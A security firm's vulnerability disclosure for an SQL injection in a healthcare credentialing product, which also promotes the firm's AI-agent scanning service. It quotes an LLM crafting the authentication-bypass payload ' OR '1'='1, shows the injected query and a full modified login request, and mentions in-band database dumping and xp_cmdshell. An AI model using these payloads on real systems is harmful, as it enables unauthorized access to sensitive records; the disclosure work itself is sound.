‍

Specular identified an unauthenticated SQL injection vulnerability now tracked as CVE-2024-56735 in a widely deployed healthcare software named MSOW that led to full database compromise and access to sensitive data of 23 healthcare organizations from the public internet. MSOW is a “credentialing and privileging software” sold by HealthStream which hospitals use to aggregate certifications for employed doctors and nurses. 

‍

We’ll discuss:

1. How AI and LLMs are lowering the bar for attackers to identify vulnerabilities and how defenders should respond.
   
   
2. Software vendor and supply chain trust. Do you trust your vendors to responsibly disclose vulnerabilities so you can prioritize patching accordingly? In this instance, HealthStream silently fixed this critical vulnerability without notifying their customers, causing their customers to deprioritize patching their software.
   
   
3. The importance of combining data sources to discover and assess vulnerabilities.
   
   ‍

‍

LLMs and AI Agents are Changing The Game

AI agents provide an opportunity to automate traditional manual security workflows, especially penetration testing and vulnerability assessments which heavily rely on human analysis today.

‍

LLMs lower the bar for attackers to identify vulnerabilities in enterprise networks. The days of the script kiddies brute forcing your login panel to death from their IRC botnet are over. They’ll run an open source LLM from their gaming rig that is prompted to gain access to your network and armed with the tools to succeed. The open source LLM will have the equivalent capability of a penetration tester with 10 years of experience. Increased attacker capabilities force organizations to raise their proactive security standards to quickly and accurately identify and remediate cyber security vulnerabilities.

‍

Let’s use web application penetration testing as an example. As a basic example for demonstration purposes, let’s use a simple LLM prompt and send the MSOW HTTP POST request to the LLM for analysis. The LLM correctly identifies the vulnerable HTTP parameters, and crafts a payload that identifies the SQL injection vulnerability. 

‍

LLM Prompt:

_{You're an ethical penetration tester. Look at the below HTTP Response and propose a parameter to perform SQL injection.}

_‍

_{POST /REDACTED/Login.aspx?ReturnUrl=%REDACTED%2fRLViewForm.aspx HTTP/1.1}

_{Host: REDACTED}

_{Cookie: ASP.NET_SessionId=by33hh0aunzq5lywa5leh1z4}

_{User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0}

_{Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8}

_{Accept-Language: en-US,en;q=0.5}

_{Accept-Encoding: gzip, deflate, br}

_{Content-Type: application/x-www-form-urlencoded}

_{Content-Length: 437}

_{Upgrade-Insecure-Requests: 1}

_{Connection: keep-alive}

_‍

_{__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4NjgyNjEwMzYPFgIeCVJlZnJlc2hJRAUUMi81LzIwMjUgMTA6MTU6NDIgUE0WAgIBD2QWBAIBDw8WAh4MRXJyb3JNZXNzYWdlZWRkAhMPDxYCHgdWaXNpYmxlaGRkZEYQ%2Bz5IWUwwWYS51j8Cf95S%2BpfV&__VIEWSTATEGENERATOR=41A0629B&__EVENTVALIDATION=%2FwEdAAQM%2F2wlh9acItsGhNJLczevlZn5TiWWX4%2FrDQ5eNAEE0Ynkg%2Fut7Je4AtoEsfzZAOI6IdhgfpS%2BscJszWGJP73gMzm3lVU1xLyf9jTOoDkOx37T5Z0%3D&txtUID=test&txtPWD=test&bttnSubmit=Submit}

‍

LLM Response:

_{Okay, based on the provided HTTP POST request, here's my analysis and proposed injection point, keeping ethical considerations (proof-of-concept only, no damage):}

_‍

_Analysis:

_‍

_{POST Request: The request uses the POST method, meaning data is being sent to the server.}

_‍

_{URL: /REDACTED/Login.aspx?ReturnUrl=%REDACTED%2fRLViewForm.aspx The ReturnUrl parameter in the URL might be vulnerable to URL redirection, but it's less directly related to SQL injection. I'll focus on POST parameters first.}

_‍

_{Content-Type: application/x-www-form-urlencoded indicates the data is sent as key-value pairs.}

_‍

_{POST Parameters: This is where the most likely SQL injection vulnerabilities lie. I see these parameters:}

_‍

_{__EVENTTARGET}

_{__EVENTARGUMENT}

_{__VIEWSTATE}

_{__VIEWSTATEGENERATOR}

_{__EVENTVALIDATION}

_{txtUID (User ID/Username)}

_{txtPWD (Password)}

_{bttnSubmit (Submit button)}

_{Suspicious Parameters:}

_‍

_{txtUID and txtPWD are the most obvious candidates. Login forms are frequently targets for SQL injection.}

_‍

_{__VIEWSTATE, __VIEWSTATEGENERATOR, __EVENTVALIDATION These are ASP.NET specific parameters. Although unlikely to be directly injectable, it's good to be aware of them. Manipulating or omitting these can sometimes lead to unexpected application behavior and might indirectly expose vulnerabilities. However, directly injecting into these is very unlikely to work, and could simply break the application.}

_‍

_{Proposed Injection Point and Payload (Proof-of-Concept Only):}

_‍

_{I would target the txtUID (username) parameter for initial testing. I will propose the following payload.}

_‍

_{' OR '1'='1}

_{Use code with caution.}

_Reasoning:

_‍

_{Login Forms are Common Targets: It's a very common practice to check usernames and passwords against a database. If the application is vulnerable, a malicious SQL query could be constructed by concatenating the input with SQL code.}

_‍

_{Purpose of the Payload: ' OR '1'='1 This is a classic SQL injection payload aimed at bypassing authentication. If the application uses a query like:}

_‍

_{SELECT * FROM Users WHERE Username = '$txtUID' AND Password = '$txtPWD'}

_{Use code with caution.}

_SQL

_{and $txtUID is replaced with the payload, the query becomes (simplified):}

_‍

_{SELECT * FROM Users WHERE Username = '' OR '1'='1' AND Password = '$txtPWD'}

_{Use code with caution.}

_SQL

_{Because '1'='1' is always true, the WHERE clause effectively becomes always true, bypassing the username check. The password check might still be enforced, so I'd also test a similar payload in txtPWD (if the first payload fails).}

_‍

_{Escaping Single Quotes: If the backend database is properly escaping single quotes, this payload will likely fail. You might need to try different escape characters (e.g., \', \\', or URL-encoded versions). The proper escape character depends on the specific database being used by the web application.}

_‍

_{Database Type: The exact payload might need to be adjusted depending on the database type (MySQL, PostgreSQL, SQL Server, etc.). Error messages from the server might provide clues. If error messages aren't provided, you might need to use blind SQL injection techniques.}

_‍

_{Character Encoding: Ensure the payload is properly URL-encoded if necessary.}

_‍

_{Example Request (Modified from Original):}

_‍

_{POST /REDACTED/Login.aspx?ReturnUrl=%REDACTED%2fRLViewForm.aspx HTTP/1.1}

_{Host: REDACTED}

_{Cookie: ASP.NET_SessionId=by33hh0aunzq5lywa5leh1z4}

_{User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0}

_{Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8}

_{Accept-Language: en-US,en;q=0.5}

_{Accept-Encoding: gzip, deflate, br}

_{Content-Type: application/x-www-form-urlencoded}

_{Content-Length: 450  (Adjusted Content-Length)}

_{Upgrade-Insecure-Requests: 1}

_{Sec-Fetch-Dest: document}

_{Sec-Fetch-Mode: navigate}

_{Sec-Fetch-Site: same-origin}

_{Sec-Fetch-User: ?1}

_{Priority: u=0, i}

_{Te: trailers}

_{Connection: keep-alive}

_‍

_{__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4NjgyNjEwMzYPFgIeCVJlZnJlc2hJRAUUMi81LzIwMjUgMTA6MTU6NDIgUE0WAgIBD2QWBAIBDw8WAh4MRXJyb3JNZXNzYWdlZWRkAhMPDxYCHgdWaXNpYmxlaGRkZEYQ%2Bz5IWUwwWYS51j8Cf95S%2BpfV&__VIEWSTATEGENERATOR=41A0629B&__EVENTVALIDATION=%2FwEdAAQM%2F2wlh9acItsGhNJLczevlZn5TiWWX4%2FrDQ5eNAEE0Ynkg%2Fut7Je4AtoEsfzZAOI6IdhgfpS%2BscJszWGJP73gMzm3lVU1xLyf9jTOoDkOx37T5Z0%3D&txtUID=%27+OR+%271%27%3D%271&txtPWD=test&bttnSubmit=Submit}

_{Use code with caution.}

_Http

_{Explanation of Changes:}

_‍

_{txtUID=%27+OR+%271%27%3D%271: This is the key change. I've replaced the original test value with the SQL injection payload. I've also URL-encoded the single quotes (%27) and the space (+).}

‍

The LLM successfully built a payload that would have identified the MSOW vulnerability. While the above is a basic example for demonstration purposes, Specular has built workflows that intercepts HTTP requests and automates complex analysis across thousands of customer web pages using a team of AI agents. The HTTP Request and Response bodies for each page are analyzed through an AI agent pipeline where each AI agent is prompted to simulate a specific part of traditional human-led web application analysis. Specular combines this with Chain-of-Thought reasoning to increase the complexity of the attack, and prompt the AI agent to iterate to identify and assess vulnerabilities. We’ve built additional AI agent workflows to analyze CVEs and misconfigurations with similar positive results.

Vendor and Supply Chain Trust

Discovering SQL injection vulnerabilities is not novel, thousands are discovered every year, including 2,655 reported in 2024 alone. After initially disclosing the SQL injection vulnerability to our client, we learned that the software vendor, HealthStream, had silently fixed this vulnerability in a previous release. The vendor did not adequately notify their customers of a security vulnerability, which led many organizations to deprioritize updating the MSOW software.

‍

In addition to notifying our clients, we disclosed the vulnerability to HealthStream but never received a response. We followed up several times over several months.

‍

Because of the lack of response, we decided to enumerate internet facing MSOW instances to determine if other organizations were vulnerable. We identified 50 instances of internet exposed MSOW instances, of which 23 were susceptible to this vulnerability. The 50 identified public-facing instances are likely incomplete; we primarily focused on identifying MSOW instances that had been previously indexed by Google and Bing. A majority of available instances are likely not indexed but can be identified through subdomain enumeration and other more targeted enumeration techniques.

‍

Organizations today are overwhelmed by software updates and patch management. A majority of organizations will only update software if there is a security vulnerability present in the software that increases the chance of compromise. This patching and remediation prioritization model only works if software vendors accurately report discovered vulnerabilities within their product. While recent legislation requires organizations to report data breaches, no such policy exists to enforce organizations to report vulnerabilities.

‍

Because of this misaligned incentive, organizations should consistently assess their network for vulnerabilities, known and unknown. This applies especially for internet facing services, the public nature of these services make them targets for attackers. While strong internal detection and prevention controls can act as mitigations to detect malicious behavior post-compromise, consistent proactive validation is the best way to find and fix vulnerabilities before they lead to a cyber breach.

‍

Combining Data Sources To Find Vulnerabilities

We partner with several healthcare organizations to secure their network perimeter and proactively identify, assess, and remediate exploitable vulnerabilities and misconfigurations. This past summer, we identified the MSOW software running in a domain-joined data center of our client. A detailed description of how Specular identified the vulnerability can be seen in the below section.

‍

Specular performs reconnaissance to identify all IP addresses, CIDR ranges, and domain names affiliated with your organization. This outside-in approach is combined with an inside-out approach with direct integrations to an organization’s domain registrar and DNS providers (AWS Route 53/Azure/GoDaddy/etc) for full visibility. Using this dataset as a base, we use our AI agents to automate and augment traditional human analysis to identify, assess, and remediate cyber security vulnerabilities.

‍

During enumeration of a client’s internet facing network, we identified an IIS web server hosting a default IIS homepage as shown below. While many assume that a default IIS web page indicates the web server is not hosting any content, Specular uses additional data sources like Google Search and Wayback Machine to identify additional hosted content.

‍

‍

For example, Specular automatically searched Google for previously indexed URLs affiliated with the domain name being analyzed. Specular attempted to connect to these indexed URLs and identified an application hosted at /psv as shown below.

‍

‍

Further enumeration and crawling of the application hosted at /psv resulted in the discovery of an additional login URL hosted at /REDACTED/Login.aspx as shown below.

‍

As discussed above in LLMs and AI Agents are Changing The Game, submitting a HTTP POST login request with a password of ‘; the SQL server responds with a clear SQL injection error including the raw SQL query as shown below. We performed additional SQL injection enumeration and determined the entire database could be returned in-band, meaning an attacker could retrieve the plaintext database contents in a HTTP response from a crafted SQL injection HTTP payload.

‍

‍

A vast majority of examined MSOW deployments had correctly minimized the database user privileges to the MSOW database only. This limited immediate impact (without alternative privilege escalation paths through xp_cmdshell, etc) to MSOW data as opposed to all databases on the server. A great example of why the Principle of Least Privilege matters!

‍

Moving Forward

‍

CVE-2024-56735 is a basic  SQL injection vulnerability that is trivially discoverable by any modern Dynamic Application Security Testing (DAST) or open source SQL injection tool. While discovering a new critical vulnerability is always exciting, the more interesting question is how numerous enterprise healthcare organizations were vulnerable to a trivially exploitable critical vulnerability that any modern tool can easily identify.

‍

In my experience, most organizations are barely treading water in an ocean of vulnerabilities and misconfigurations. I believe LLMs provide an opportunity to finally change this status quo to help organizations proactively improve their security posture.

Specular uses AI agents powered by LLMs to automate and augment the identification, assessment, and remediation of cyber security vulnerabilities and misconfigurations. Interested to learn more? Reach out to contact@specular.ai to join our private beta.

‍